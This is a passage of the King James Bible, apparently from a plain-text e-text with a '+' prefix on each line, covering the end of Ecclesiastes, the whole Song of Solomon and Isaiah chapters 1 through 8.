+about the streets: 12:6 Or ever the silver cord be loosed, or the +golden bowl be broken, or the pitcher be broken at the fountain, or +the wheel broken at the cistern. + +12:7 Then shall the dust return to the earth as it was: and the spirit +shall return unto God who gave it. + +12:8 Vanity of vanities, saith the preacher; all is vanity. + +12:9 And moreover, because the preacher was wise, he still taught the +people knowledge; yea, he gave good heed, and sought out, and set in +order many proverbs. + +12:10 The preacher sought to find out acceptable words: and that which +was written was upright, even words of truth. + +12:11 The words of the wise are as goads, and as nails fastened by the +masters of assemblies, which are given from one shepherd. + +12:12 And further, by these, my son, be admonished: of making many +books there is no end; and much study is a weariness of the flesh. + +12:13 Let us hear the conclusion of the whole matter: Fear God, and +keep his commandments: for this is the whole duty of man. + +12:14 For God shall bring every work into judgment, with every secret +thing, whether it be good, or whether it be evil. + + + + +The Song of Solomon + + +1:1 The song of songs, which is Solomon's. + +1:2 Let him kiss me with the kisses of his mouth: for thy love is +better than wine. + +1:3 Because of the savour of thy good ointments thy name is as +ointment poured forth, therefore do the virgins love thee. + +1:4 Draw me, we will run after thee: the king hath brought me into his +chambers: we will be glad and rejoice in thee, we will remember thy +love more than wine: the upright love thee. + +1:5 I am black, but comely, O ye daughters of Jerusalem, as the tents +of Kedar, as the curtains of Solomon. + +1:6 Look not upon me, because I am black, because the sun hath looked +upon me: my mother's children were angry with me; they made me the +keeper of the vineyards; but mine own vineyard have I not kept. + +1:7 Tell me, O thou whom my soul loveth, where thou feedest, where +thou makest thy flock to rest at noon: for why should I be as one that +turneth aside by the flocks of thy companions? 1:8 If thou know not, +O thou fairest among women, go thy way forth by the footsteps of the +flock, and feed thy kids beside the shepherds' tents. + +1:9 I have compared thee, O my love, to a company of horses in +Pharaoh's chariots. + +1:10 Thy cheeks are comely with rows of jewels, thy neck with chains +of gold. + +1:11 We will make thee borders of gold with studs of silver. + +1:12 While the king sitteth at his table, my spikenard sendeth forth +the smell thereof. + +1:13 A bundle of myrrh is my well-beloved unto me; he shall lie all +night betwixt my breasts. + +1:14 My beloved is unto me as a cluster of camphire in the vineyards +of Engedi. + +1:15 Behold, thou art fair, my love; behold, thou art fair; thou hast +doves' eyes. + +1:16 Behold, thou art fair, my beloved, yea, pleasant: also our bed is +green. + +1:17 The beams of our house are cedar, and our rafters of fir. + +2:1 I am the rose of Sharon, and the lily of the valleys. + +2:2 As the lily among thorns, so is my love among the daughters. + +2:3 As the apple tree among the trees of the wood, so is my beloved +among the sons. I sat down under his shadow with great delight, and +his fruit was sweet to my taste. + +2:4 He brought me to the banqueting house, and his banner over me was +love. + +2:5 Stay me with flagons, comfort me with apples: for I am sick of +love. + +2:6 His left hand is under my head, and his right hand doth embrace +me. + +2:7 I charge you, O ye daughters of Jerusalem, by the roes, and by the +hinds of the field, that ye stir not up, nor awake my love, till he +please. + +2:8 The voice of my beloved! behold, he cometh leaping upon the +mountains, skipping upon the hills. + +2:9 My beloved is like a roe or a young hart: behold, he standeth +behind our wall, he looketh forth at the windows, shewing himself +through the lattice. + +2:10 My beloved spake, and said unto me, Rise up, my love, my fair +one, and come away. + +2:11 For, lo, the winter is past, the rain is over and gone; 2:12 The +flowers appear on the earth; the time of the singing of birds is come, +and the voice of the turtle is heard in our land; 2:13 The fig tree +putteth forth her green figs, and the vines with the tender grape give +a good smell. Arise, my love, my fair one, and come away. + +2:14 O my dove, that art in the clefts of the rock, in the secret +places of the stairs, let me see thy countenance, let me hear thy +voice; for sweet is thy voice, and thy countenance is comely. + +2:15 Take us the foxes, the little foxes, that spoil the vines: for +our vines have tender grapes. + +2:16 My beloved is mine, and I am his: he feedeth among the lilies. + +2:17 Until the day break, and the shadows flee away, turn, my beloved, +and be thou like a roe or a young hart upon the mountains of Bether. + +3:1 By night on my bed I sought him whom my soul loveth: I sought him, +but I found him not. + +3:2 I will rise now, and go about the city in the streets, and in the +broad ways I will seek him whom my soul loveth: I sought him, but I +found him not. + +3:3 The watchmen that go about the city found me: to whom I said, Saw +ye him whom my soul loveth? 3:4 It was but a little that I passed +from them, but I found him whom my soul loveth: I held him, and would +not let him go, until I had brought him into my mother's house, and +into the chamber of her that conceived me. + +3:5 I charge you, O ye daughters of Jerusalem, by the roes, and by the +hinds of the field, that ye stir not up, nor awake my love, till he +please. + +3:6 Who is this that cometh out of the wilderness like pillars of +smoke, perfumed with myrrh and frankincense, with all powders of the +merchant? 3:7 Behold his bed, which is Solomon's; threescore valiant +men are about it, of the valiant of Israel. + +3:8 They all hold swords, being expert in war: every man hath his +sword upon his thigh because of fear in the night. + +3:9 King Solomon made himself a chariot of the wood of Lebanon. + +3:10 He made the pillars thereof of silver, the bottom thereof of +gold, the covering of it of purple, the midst thereof being paved with +love, for the daughters of Jerusalem. + +3:11 Go forth, O ye daughters of Zion, and behold king Solomon with +the crown wherewith his mother crowned him in the day of his +espousals, and in the day of the gladness of his heart. + +4:1 Behold, thou art fair, my love; behold, thou art fair; thou hast +doves' eyes within thy locks: thy hair is as a flock of goats, that +appear from mount Gilead. + +4:2 Thy teeth are like a flock of sheep that are even shorn, which +came up from the washing; whereof every one bear twins, and none is +barren among them. + +4:3 Thy lips are like a thread of scarlet, and thy speech is comely: +thy temples are like a piece of a pomegranate within thy locks. + +4:4 Thy neck is like the tower of David builded for an armoury, +whereon there hang a thousand bucklers, all shields of mighty men. + +4:5 Thy two breasts are like two young roes that are twins, which feed +among the lilies. + +4:6 Until the day break, and the shadows flee away, I will get me to +the mountain of myrrh, and to the hill of frankincense. + +4:7 Thou art all fair, my love; there is no spot in thee. + +4:8 Come with me from Lebanon, my spouse, with me from Lebanon: look +from the top of Amana, from the top of Shenir and Hermon, from the +lions' dens, from the mountains of the leopards. + +4:9 Thou hast ravished my heart, my sister, my spouse; thou hast +ravished my heart with one of thine eyes, with one chain of thy neck. + +4:10 How fair is thy love, my sister, my spouse! how much better is +thy love than wine! and the smell of thine ointments than all spices! +4:11 Thy lips, O my spouse, drop as the honeycomb: honey and milk are +under thy tongue; and the smell of thy garments is like the smell of +Lebanon. + +4:12 A garden inclosed is my sister, my spouse; a spring shut up, a +fountain sealed. + +4:13 Thy plants are an orchard of pomegranates, with pleasant fruits; +camphire, with spikenard, 4:14 Spikenard and saffron; calamus and +cinnamon, with all trees of frankincense; myrrh and aloes, with all +the chief spices: 4:15 A fountain of gardens, a well of living waters, +and streams from Lebanon. + +4:16 Awake, O north wind; and come, thou south; blow upon my garden, +that the spices thereof may flow out. Let my beloved come into his +garden, and eat his pleasant fruits. + +5:1 I am come into my garden, my sister, my spouse: I have gathered my +myrrh with my spice; I have eaten my honeycomb with my honey; I have +drunk my wine with my milk: eat, O friends; drink, yea, drink +abundantly, O beloved. + +5:2 I sleep, but my heart waketh: it is the voice of my beloved that +knocketh, saying, Open to me, my sister, my love, my dove, my +undefiled: for my head is filled with dew, and my locks with the drops +of the night. + +5:3 I have put off my coat; how shall I put it on? I have washed my +feet; how shall I defile them? 5:4 My beloved put in his hand by the +hole of the door, and my bowels were moved for him. + +5:5 I rose up to open to my beloved; and my hands dropped with myrrh, +and my fingers with sweet smelling myrrh, upon the handles of the +lock. + +5:6 I opened to my beloved; but my beloved had withdrawn himself, and +was gone: my soul failed when he spake: I sought him, but I could not +find him; I called him, but he gave me no answer. + +5:7 The watchmen that went about the city found me, they smote me, +they wounded me; the keepers of the walls took away my veil from me. + +5:8 I charge you, O daughters of Jerusalem, if ye find my beloved, +that ye tell him, that I am sick of love. + +5:9 What is thy beloved more than another beloved, O thou fairest +among women? what is thy beloved more than another beloved, that thou +dost so charge us? 5:10 My beloved is white and ruddy, the chiefest +among ten thousand. + +5:11 His head is as the most fine gold, his locks are bushy, and black +as a raven. + +5:12 His eyes are as the eyes of doves by the rivers of waters, washed +with milk, and fitly set. + +5:13 His cheeks are as a bed of spices, as sweet flowers: his lips +like lilies, dropping sweet smelling myrrh. + +5:14 His hands are as gold rings set with the beryl: his belly is as +bright ivory overlaid with sapphires. + +5:15 His legs are as pillars of marble, set upon sockets of fine gold: +his countenance is as Lebanon, excellent as the cedars. + +5:16 His mouth is most sweet: yea, he is altogether lovely. This is my +beloved, and this is my friend, O daughters of Jerusalem. + +6:1 Whither is thy beloved gone, O thou fairest among women? whither +is thy beloved turned aside? that we may seek him with thee. + +6:2 My beloved is gone down into his garden, to the beds of spices, to +feed in the gardens, and to gather lilies. + +6:3 I am my beloved's, and my beloved is mine: he feedeth among the +lilies. + +6:4 Thou art beautiful, O my love, as Tirzah, comely as Jerusalem, +terrible as an army with banners. + +6:5 Turn away thine eyes from me, for they have overcome me: thy hair +is as a flock of goats that appear from Gilead. + +6:6 Thy teeth are as a flock of sheep which go up from the washing, +whereof every one beareth twins, and there is not one barren among +them. + +6:7 As a piece of a pomegranate are thy temples within thy locks. + +6:8 There are threescore queens, and fourscore concubines, and virgins +without number. + +6:9 My dove, my undefiled is but one; she is the only one of her +mother, she is the choice one of her that bare her. The daughters saw +her, and blessed her; yea, the queens and the concubines, and they +praised her. + +6:10 Who is she that looketh forth as the morning, fair as the moon, +clear as the sun, and terrible as an army with banners? 6:11 I went +down into the garden of nuts to see the fruits of the valley, and to +see whether the vine flourished and the pomegranates budded. + +6:12 Or ever I was aware, my soul made me like the chariots of +Amminadib. + +6:13 Return, return, O Shulamite; return, return, that we may look +upon thee. What will ye see in the Shulamite? As it were the company +of two armies. + +7:1 How beautiful are thy feet with shoes, O prince's daughter! the +joints of thy thighs are like jewels, the work of the hands of a +cunning workman. + +7:2 Thy navel is like a round goblet, which wanteth not liquor: thy +belly is like an heap of wheat set about with lilies. + +7:3 Thy two breasts are like two young roes that are twins. + +7:4 Thy neck is as a tower of ivory; thine eyes like the fishpools in +Heshbon, by the gate of Bathrabbim: thy nose is as the tower of +Lebanon which looketh toward Damascus. + +7:5 Thine head upon thee is like Carmel, and the hair of thine head +like purple; the king is held in the galleries. + +7:6 How fair and how pleasant art thou, O love, for delights! 7:7 +This thy stature is like to a palm tree, and thy breasts to clusters +of grapes. + +7:8 I said, I will go up to the palm tree, I will take hold of the +boughs thereof: now also thy breasts shall be as clusters of the vine, +and the smell of thy nose like apples; 7:9 And the roof of thy mouth +like the best wine for my beloved, that goeth down sweetly, causing +the lips of those that are asleep to speak. + +7:10 I am my beloved's, and his desire is toward me. + +7:11 Come, my beloved, let us go forth into the field; let us lodge in +the villages. + +7:12 Let us get up early to the vineyards; let us see if the vine +flourish, whether the tender grape appear, and the pomegranates bud +forth: there will I give thee my loves. + +7:13 The mandrakes give a smell, and at our gates are all manner of +pleasant fruits, new and old, which I have laid up for thee, O my +beloved. + +8:1 O that thou wert as my brother, that sucked the breasts of my +mother! when I should find thee without, I would kiss thee; yea, I +should not be despised. + +8:2 I would lead thee, and bring thee into my mother's house, who +would instruct me: I would cause thee to drink of spiced wine of the +juice of my pomegranate. + +8:3 His left hand should be under my head, and his right hand should +embrace me. + +8:4 I charge you, O daughters of Jerusalem, that ye stir not up, nor +awake my love, until he please. + +8:5 Who is this that cometh up from the wilderness, leaning upon her +beloved? I raised thee up under the apple tree: there thy mother +brought thee forth: there she brought thee forth that bare thee. + +8:6 Set me as a seal upon thine heart, as a seal upon thine arm: for +love is strong as death; jealousy is cruel as the grave: the coals +thereof are coals of fire, which hath a most vehement flame. + +8:7 Many waters cannot quench love, neither can the floods drown it: +if a man would give all the substance of his house for love, it would +utterly be contemned. + +8:8 We have a little sister, and she hath no breasts: what shall we do +for our sister in the day when she shall be spoken for? 8:9 If she be +a wall, we will build upon her a palace of silver: and if she be a +door, we will inclose her with boards of cedar. + +8:10 I am a wall, and my breasts like towers: then was I in his eyes +as one that found favour. + +8:11 Solomon had a vineyard at Baalhamon; he let out the vineyard unto +keepers; every one for the fruit thereof was to bring a thousand +pieces of silver. + +8:12 My vineyard, which is mine, is before me: thou, O Solomon, must +have a thousand, and those that keep the fruit thereof two hundred. + +8:13 Thou that dwellest in the gardens, the companions hearken to thy +voice: cause me to hear it. + +8:14 Make haste, my beloved, and be thou like to a roe or to a young +hart upon the mountains of spices. + + + + +The Book of the Prophet Isaiah + + +1:1 The vision of Isaiah the son of Amoz, which he saw concerning +Judah and Jerusalem in the days of Uzziah, Jotham, Ahaz, and Hezekiah, +kings of Judah. + +1:2 Hear, O heavens, and give ear, O earth: for the LORD hath spoken, +I have nourished and brought up children, and they have rebelled +against me. + +1:3 The ox knoweth his owner, and the ass his master's crib: but +Israel doth not know, my people doth not consider. + +1:4 Ah sinful nation, a people laden with iniquity, a seed of +evildoers, children that are corrupters: they have forsaken the LORD, +they have provoked the Holy One of Israel unto anger, they are gone +away backward. + +1:5 Why should ye be stricken any more? ye will revolt more and more: +the whole head is sick, and the whole heart faint. + +1:6 From the sole of the foot even unto the head there is no soundness +in it; but wounds, and bruises, and putrifying sores: they have not +been closed, neither bound up, neither mollified with ointment. + +1:7 Your country is desolate, your cities are burned with fire: your +land, strangers devour it in your presence, and it is desolate, as +overthrown by strangers. + +1:8 And the daughter of Zion is left as a cottage in a vineyard, as a +lodge in a garden of cucumbers, as a besieged city. + +1:9 Except the LORD of hosts had left unto us a very small remnant, we +should have been as Sodom, and we should have been like unto Gomorrah. + +1:10 Hear the word of the LORD, ye rulers of Sodom; give ear unto the +law of our God, ye people of Gomorrah. + +1:11 To what purpose is the multitude of your sacrifices unto me? +saith the LORD: I am full of the burnt offerings of rams, and the fat +of fed beasts; and I delight not in the blood of bullocks, or of +lambs, or of he goats. + +1:12 When ye come to appear before me, who hath required this at your +hand, to tread my courts? 1:13 Bring no more vain oblations; incense +is an abomination unto me; the new moons and sabbaths, the calling of +assemblies, I cannot away with; it is iniquity, even the solemn +meeting. + +1:14 Your new moons and your appointed feasts my soul hateth: they are +a trouble unto me; I am weary to bear them. + +1:15 And when ye spread forth your hands, I will hide mine eyes from +you: yea, when ye make many prayers, I will not hear: your hands are +full of blood. + +1:16 Wash you, make you clean; put away the evil of your doings from +before mine eyes; cease to do evil; 1:17 Learn to do well; seek +judgment, relieve the oppressed, judge the fatherless, plead for the +widow. + +1:18 Come now, and let us reason together, saith the LORD: though your +sins be as scarlet, they shall be as white as snow; though they be red +like crimson, they shall be as wool. + +1:19 If ye be willing and obedient, ye shall eat the good of the land: +1:20 But if ye refuse and rebel, ye shall be devoured with the sword: +for the mouth of the LORD hath spoken it. + +1:21 How is the faithful city become an harlot! it was full of +judgment; righteousness lodged in it; but now murderers. + +1:22 Thy silver is become dross, thy wine mixed with water: 1:23 Thy +princes are rebellious, and companions of thieves: every one loveth +gifts, and followeth after rewards: they judge not the fatherless, +neither doth the cause of the widow come unto them. + +1:24 Therefore saith the LORD, the LORD of hosts, the mighty One of +Israel, Ah, I will ease me of mine adversaries, and avenge me of mine +enemies: 1:25 And I will turn my hand upon thee, and purely purge away +thy dross, and take away all thy tin: 1:26 And I will restore thy +judges as at the first, and thy counsellors as at the beginning: +afterward thou shalt be called, The city of righteousness, the +faithful city. + +1:27 Zion shall be redeemed with judgment, and her converts with +righteousness. + +1:28 And the destruction of the transgressors and of the sinners shall +be together, and they that forsake the LORD shall be consumed. + +1:29 For they shall be ashamed of the oaks which ye have desired, and +ye shall be confounded for the gardens that ye have chosen. + +1:30 For ye shall be as an oak whose leaf fadeth, and as a garden that +hath no water. + +1:31 And the strong shall be as tow, and the maker of it as a spark, +and they shall both burn together, and none shall quench them. + +2:1 The word that Isaiah the son of Amoz saw concerning Judah and +Jerusalem. + +2:2 And it shall come to pass in the last days, that the mountain of +the LORD's house shall be established in the top of the mountains, and +shall be exalted above the hills; and all nations shall flow unto it. + +2:3 And many people shall go and say, Come ye, and let us go up to the +mountain of the LORD, to the house of the God of Jacob; and he will +teach us of his ways, and we will walk in his paths: for out of Zion +shall go forth the law, and the word of the LORD from Jerusalem. + +2:4 And he shall judge among the nations, and shall rebuke many +people: and they shall beat their swords into plowshares, and their +spears into pruninghooks: nation shall not lift up sword against +nation, neither shall they learn war any more. + +2:5 O house of Jacob, come ye, and let us walk in the light of the +LORD. + +2:6 Therefore thou hast forsaken thy people the house of Jacob, +because they be replenished from the east, and are soothsayers like +the Philistines, and they please themselves in the children of +strangers. + +2:7 Their land also is full of silver and gold, neither is there any +end of their treasures; their land is also full of horses, neither is +there any end of their chariots: 2:8 Their land also is full of idols; +they worship the work of their own hands, that which their own fingers +have made: 2:9 And the mean man boweth down, and the great man +humbleth himself: therefore forgive them not. + +2:10 Enter into the rock, and hide thee in the dust, for fear of the +LORD, and for the glory of his majesty. + +2:11 The lofty looks of man shall be humbled, and the haughtiness of +men shall be bowed down, and the LORD alone shall be exalted in that +day. + +2:12 For the day of the LORD of hosts shall be upon every one that is +proud and lofty, and upon every one that is lifted up; and he shall be +brought low: 2:13 And upon all the cedars of Lebanon, that are high +and lifted up, and upon all the oaks of Bashan, 2:14 And upon all the +high mountains, and upon all the hills that are lifted up, 2:15 And +upon every high tower, and upon every fenced wall, 2:16 And upon all +the ships of Tarshish, and upon all pleasant pictures. + +2:17 And the loftiness of man shall be bowed down, and the haughtiness +of men shall be made low: and the LORD alone shall be exalted in that +day. + +2:18 And the idols he shall utterly abolish. + +2:19 And they shall go into the holes of the rocks, and into the caves +of the earth, for fear of the LORD, and for the glory of his majesty, +when he ariseth to shake terribly the earth. + +2:20 In that day a man shall cast his idols of silver, and his idols +of gold, which they made each one for himself to worship, to the moles +and to the bats; 2:21 To go into the clefts of the rocks, and into the +tops of the ragged rocks, for fear of the LORD, and for the glory of +his majesty, when he ariseth to shake terribly the earth. + +2:22 Cease ye from man, whose breath is in his nostrils: for wherein +is he to be accounted of ? 3:1 For, behold, the Lord, the LORD of +hosts, doth take away from Jerusalem and from Judah the stay and the +staff, the whole stay of bread, and the whole stay of water. + +3:2 The mighty man, and the man of war, the judge, and the prophet, +and the prudent, and the ancient, 3:3 The captain of fifty, and the +honourable man, and the counsellor, and the cunning artificer, and the +eloquent orator. + +3:4 And I will give children to be their princes, and babes shall rule +over them. + +3:5 And the people shall be oppressed, every one by another, and every +one by his neighbour: the child shall behave himself proudly against +the ancient, and the base against the honourable. + +3:6 When a man shall take hold of his brother of the house of his +father, saying, Thou hast clothing, be thou our ruler, and let this +ruin be under thy hand: 3:7 In that day shall he swear, saying, I will +not be an healer; for in my house is neither bread nor clothing: make +me not a ruler of the people. + +3:8 For Jerusalem is ruined, and Judah is fallen: because their tongue +and their doings are against the LORD, to provoke the eyes of his +glory. + +3:9 The shew of their countenance doth witness against them; and they +declare their sin as Sodom, they hide it not. Woe unto their soul! for +they have rewarded evil unto themselves. + +3:10 Say ye to the righteous, that it shall be well with him: for they +shall eat the fruit of their doings. + +3:11 Woe unto the wicked! it shall be ill with him: for the reward of +his hands shall be given him. + +3:12 As for my people, children are their oppressors, and women rule +over them. O my people, they which lead thee cause thee to err, and +destroy the way of thy paths. + +3:13 The LORD standeth up to plead, and standeth to judge the people. + +3:14 The LORD will enter into judgment with the ancients of his +people, and the princes thereof: for ye have eaten up the vineyard; +the spoil of the poor is in your houses. + +3:15 What mean ye that ye beat my people to pieces, and grind the +faces of the poor? saith the Lord GOD of hosts. + +3:16 Moreover the LORD saith, Because the daughters of Zion are +haughty, and walk with stretched forth necks and wanton eyes, walking +and mincing as they go, and making a tinkling with their feet: 3:17 +Therefore the LORD will smite with a scab the crown of the head of the +daughters of Zion, and the LORD will discover their secret parts. + +3:18 In that day the Lord will take away the bravery of their tinkling +ornaments about their feet, and their cauls, and their round tires +like the moon, 3:19 The chains, and the bracelets, and the mufflers, +3:20 The bonnets, and the ornaments of the legs, and the headbands, +and the tablets, and the earrings, 3:21 The rings, and nose jewels, +3:22 The changeable suits of apparel, and the mantles, and the +wimples, and the crisping pins, 3:23 The glasses, and the fine linen, +and the hoods, and the vails. + +3:24 And it shall come to pass, that instead of sweet smell there +shall be stink; and instead of a girdle a rent; and instead of well +set hair baldness; and instead of a stomacher a girding of sackcloth; +and burning instead of beauty. + +3:25 Thy men shall fall by the sword, and thy mighty in the war. + +3:26 And her gates shall lament and mourn; and she being desolate +shall sit upon the ground. + +4:1 And in that day seven women shall take hold of one man, saying, We +will eat our own bread, and wear our own apparel: only let us be +called by thy name, to take away our reproach. + +4:2 In that day shall the branch of the LORD be beautiful and +glorious, and the fruit of the earth shall be excellent and comely for +them that are escaped of Israel. + +4:3 And it shall come to pass, that he that is left in Zion, and he +that remaineth in Jerusalem, shall be called holy, even every one that +is written among the living in Jerusalem: 4:4 When the Lord shall have +washed away the filth of the daughters of Zion, and shall have purged +the blood of Jerusalem from the midst thereof by the spirit of +judgment, and by the spirit of burning. + +4:5 And the LORD will create upon every dwelling place of mount Zion, +and upon her assemblies, a cloud and smoke by day, and the shining of +a flaming fire by night: for upon all the glory shall be a defence. + +4:6 And there shall be a tabernacle for a shadow in the day time from +the heat, and for a place of refuge, and for a covert from storm and +from rain. + +5:1 Now will I sing to my wellbeloved a song of my beloved touching +his vineyard. My wellbeloved hath a vineyard in a very fruitful hill: +5:2 And he fenced it, and gathered out the stones thereof, and planted +it with the choicest vine, and built a tower in the midst of it, and +also made a winepress therein: and he looked that it should bring +forth grapes, and it brought forth wild grapes. + +5:3 And now, O inhabitants of Jerusalem, and men of Judah, judge, I +pray you, betwixt me and my vineyard. + +5:4 What could have been done more to my vineyard, that I have not +done in it? wherefore, when I looked that it should bring forth +grapes, brought it forth wild grapes? 5:5 And now go to; I will tell +you what I will do to my vineyard: I will take away the hedge thereof, +and it shall be eaten up; and break down the wall thereof, and it +shall be trodden down: 5:6 And I will lay it waste: it shall not be +pruned, nor digged; but there shall come up briers and thorns: I will +also command the clouds that they rain no rain upon it. + +5:7 For the vineyard of the LORD of hosts is the house of Israel, and +the men of Judah his pleasant plant: and he looked for judgment, but +behold oppression; for righteousness, but behold a cry. + +5:8 Woe unto them that join house to house, that lay field to field, +till there be no place, that they may be placed alone in the midst of +the earth! 5:9 In mine ears said the LORD of hosts, Of a truth many +houses shall be desolate, even great and fair, without inhabitant. + +5:10 Yea, ten acres of vineyard shall yield one bath, and the seed of +an homer shall yield an ephah. + +5:11 Woe unto them that rise up early in the morning, that they may +follow strong drink; that continue until night, till wine inflame +them! 5:12 And the harp, and the viol, the tabret, and pipe, and +wine, are in their feasts: but they regard not the work of the LORD, +neither consider the operation of his hands. + +5:13 Therefore my people are gone into captivity, because they have no +knowledge: and their honourable men are famished, and their multitude +dried up with thirst. + +5:14 Therefore hell hath enlarged herself, and opened her mouth +without measure: and their glory, and their multitude, and their pomp, +and he that rejoiceth, shall descend into it. + +5:15 And the mean man shall be brought down, and the mighty man shall +be humbled, and the eyes of the lofty shall be humbled: 5:16 But the +LORD of hosts shall be exalted in judgment, and God that is holy shall +be sanctified in righteousness. + +5:17 Then shall the lambs feed after their manner, and the waste +places of the fat ones shall strangers eat. + +5:18 Woe unto them that draw iniquity with cords of vanity, and sin as +it were with a cart rope: 5:19 That say, Let him make speed, and +hasten his work, that we may see it: and let the counsel of the Holy +One of Israel draw nigh and come, that we may know it! 5:20 Woe unto +them that call evil good, and good evil; that put darkness for light, +and light for darkness; that put bitter for sweet, and sweet for +bitter! 5:21 Woe unto them that are wise in their own eyes, and +prudent in their own sight! 5:22 Woe unto them that are mighty to +drink wine, and men of strength to mingle strong drink: 5:23 Which +justify the wicked for reward, and take away the righteousness of the +righteous from him! 5:24 Therefore as the fire devoureth the stubble, +and the flame consumeth the chaff, so their root shall be as +rottenness, and their blossom shall go up as dust: because they have +cast away the law of the LORD of hosts, and despised the word of the +Holy One of Israel. + +5:25 Therefore is the anger of the LORD kindled against his people, +and he hath stretched forth his hand against them, and hath smitten +them: and the hills did tremble, and their carcases were torn in the +midst of the streets. + +For all this his anger is not turned away, but his hand is stretched +out still. + +5:26 And he will lift up an ensign to the nations from far, and will +hiss unto them from the end of the earth: and, behold, they shall come +with speed swiftly: 5:27 None shall be weary nor stumble among them; +none shall slumber nor sleep; neither shall the girdle of their loins +be loosed, nor the latchet of their shoes be broken: 5:28 Whose arrows +are sharp, and all their bows bent, their horses' hoofs shall be +counted like flint, and their wheels like a whirlwind: 5:29 Their +roaring shall be like a lion, they shall roar like young lions: yea, +they shall roar, and lay hold of the prey, and shall carry it away +safe, and none shall deliver it. + +5:30 And in that day they shall roar against them like the roaring of +the sea: and if one look unto the land, behold darkness and sorrow, +and the light is darkened in the heavens thereof. + +6:1 In the year that king Uzziah died I saw also the LORD sitting upon +a throne, high and lifted up, and his train filled the temple. + +6:2 Above it stood the seraphims: each one had six wings; with twain +he covered his face, and with twain he covered his feet, and with +twain he did fly. + +6:3 And one cried unto another, and said, Holy, holy, holy, is the +LORD of hosts: the whole earth is full of his glory. + +6:4 And the posts of the door moved at the voice of him that cried, +and the house was filled with smoke. + +6:5 Then said I, Woe is me! for I am undone; because I am a man of +unclean lips, and I dwell in the midst of a people of unclean lips: +for mine eyes have seen the King, the LORD of hosts. + +6:6 Then flew one of the seraphims unto me, having a live coal in his +hand, which he had taken with the tongs from off the altar: 6:7 And he +laid it upon my mouth, and said, Lo, this hath touched thy lips; and +thine iniquity is taken away, and thy sin purged. + +6:8 Also I heard the voice of the Lord, saying, Whom shall I send, and +who will go for us? Then said I, Here am I; send me. + +6:9 And he said, Go, and tell this people, Hear ye indeed, but +understand not; and see ye indeed, but perceive not. + +6:10 Make the heart of this people fat, and make their ears heavy, and +shut their eyes; lest they see with their eyes, and hear with their +ears, and understand with their heart, and convert, and be healed. + +6:11 Then said I, Lord, how long? And he answered, Until the cities be +wasted without inhabitant, and the houses without man, and the land be +utterly desolate, 6:12 And the LORD have removed men far away, and +there be a great forsaking in the midst of the land. + +6:13 But yet in it shall be a tenth, and it shall return, and shall be +eaten: as a teil tree, and as an oak, whose substance is in them, when +they cast their leaves: so the holy seed shall be the substance +thereof. + +7:1 And it came to pass in the days of Ahaz the son of Jotham, the son +of Uzziah, king of Judah, that Rezin the king of Syria, and Pekah the +son of Remaliah, king of Israel, went up toward Jerusalem to war +against it, but could not prevail against it. + +7:2 And it was told the house of David, saying, Syria is confederate +with Ephraim. And his heart was moved, and the heart of his people, as +the trees of the wood are moved with the wind. + +7:3 Then said the LORD unto Isaiah, Go forth now to meet Ahaz, thou, +and Shearjashub thy son, at the end of the conduit of the upper pool +in the highway of the fuller's field; 7:4 And say unto him, Take heed, +and be quiet; fear not, neither be fainthearted for the two tails of +these smoking firebrands, for the fierce anger of Rezin with Syria, +and of the son of Remaliah. + +7:5 Because Syria, Ephraim, and the son of Remaliah, have taken evil +counsel against thee, saying, 7:6 Let us go up against Judah, and vex +it, and let us make a breach therein for us, and set a king in the +midst of it, even the son of Tabeal: 7:7 Thus saith the Lord GOD, It +shall not stand, neither shall it come to pass. + +7:8 For the head of Syria is Damascus, and the head of Damascus is +Rezin; and within threescore and five years shall Ephraim be broken, +that it be not a people. + +7:9 And the head of Ephraim is Samaria, and the head of Samaria is +Remaliah's son. If ye will not believe, surely ye shall not be +established. + +7:10 Moreover the LORD spake again unto Ahaz, saying, 7:11 Ask thee a +sign of the LORD thy God; ask it either in the depth, or in the height +above. + +7:12 But Ahaz said, I will not ask, neither will I tempt the LORD. + +7:13 And he said, Hear ye now, O house of David; Is it a small thing +for you to weary men, but will ye weary my God also? 7:14 Therefore +the Lord himself shall give you a sign; Behold, a virgin shall +conceive, and bear a son, and shall call his name Immanuel. + +7:15 Butter and honey shall he eat, that he may know to refuse the +evil, and choose the good. + +7:16 For before the child shall know to refuse the evil, and choose +the good, the land that thou abhorrest shall be forsaken of both her +kings. + +7:17 The LORD shall bring upon thee, and upon thy people, and upon thy +father's house, days that have not come, from the day that Ephraim +departed from Judah; even the king of Assyria. + +7:18 And it shall come to pass in that day, that the LORD shall hiss +for the fly that is in the uttermost part of the rivers of Egypt, and +for the bee that is in the land of Assyria. + +7:19 And they shall come, and shall rest all of them in the desolate +valleys, and in the holes of the rocks, and upon all thorns, and upon +all bushes. + +7:20 In the same day shall the Lord shave with a razor that is hired, +namely, by them beyond the river, by the king of Assyria, the head, +and the hair of the feet: and it shall also consume the beard. + +7:21 And it shall come to pass in that day, that a man shall nourish a +young cow, and two sheep; 7:22 And it shall come to pass, for the +abundance of milk that they shall give he shall eat butter: for butter +and honey shall every one eat that is left in the land. + +7:23 And it shall come to pass in that day, that every place shall be, +where there were a thousand vines at a thousand silverlings, it shall +even be for briers and thorns. + +7:24 With arrows and with bows shall men come thither; because all the +land shall become briers and thorns. + +7:25 And on all hills that shall be digged with the mattock, there +shall not come thither the fear of briers and thorns: but it shall be +for the sending forth of oxen, and for the treading of lesser cattle. + +8:1 Moreover the LORD said unto me, Take thee a great roll, and write +in it with a man's pen concerning Mahershalalhashbaz. + +8:2 And I took unto me faithful witnesses to record, Uriah the priest, +and Zechariah the son of Jeberechiah. + +8:3 And I went unto the prophetess; and she conceived, and bare a son. + +Then said the LORD to me, Call his name Mahershalalhashbaz. + +8:4 For before the child shall have knowledge to cry, My father, and +my mother, the riches of Damascus and the spoil of Samaria shall be +taken away before the king of Assyria. + +8:5 The LORD spake also unto me again, saying, 8:6 Forasmuch as this +people refuseth the waters of Shiloah that go softly, and rejoice in +Rezin and Remaliah's son; 8:7 Now therefore, behold, the Lord bringeth +up upon them the waters of the river, strong and many, even the king +of Assyria, and all his glory: and he shall come up over all his +channels, and go over all his banks: 8:8 And he shall pass through +Judah; he shall overflow and go over, he shall reach even to the neck; +and the stretching out of his wings shall fill the breadth of thy +land, O Immanuel. + +8:9 Associate yourselves, O ye people, and ye shall be broken in +pieces; and give ear, all ye of far countries: gird yourselves, and ye +shall be broken in pieces; gird yourselves, and ye shall be broken in +pieces. + +8:10 Take counsel together, and it shall come to nought; speak the +word, and it shall not stand: for God is with us. + +8:11 For the LORD spake thus to me with a strong hand, and instructed +me that I should not walk in the way of this people, saying, 8:12 Say +ye not, A confederacy, to all them to whom this 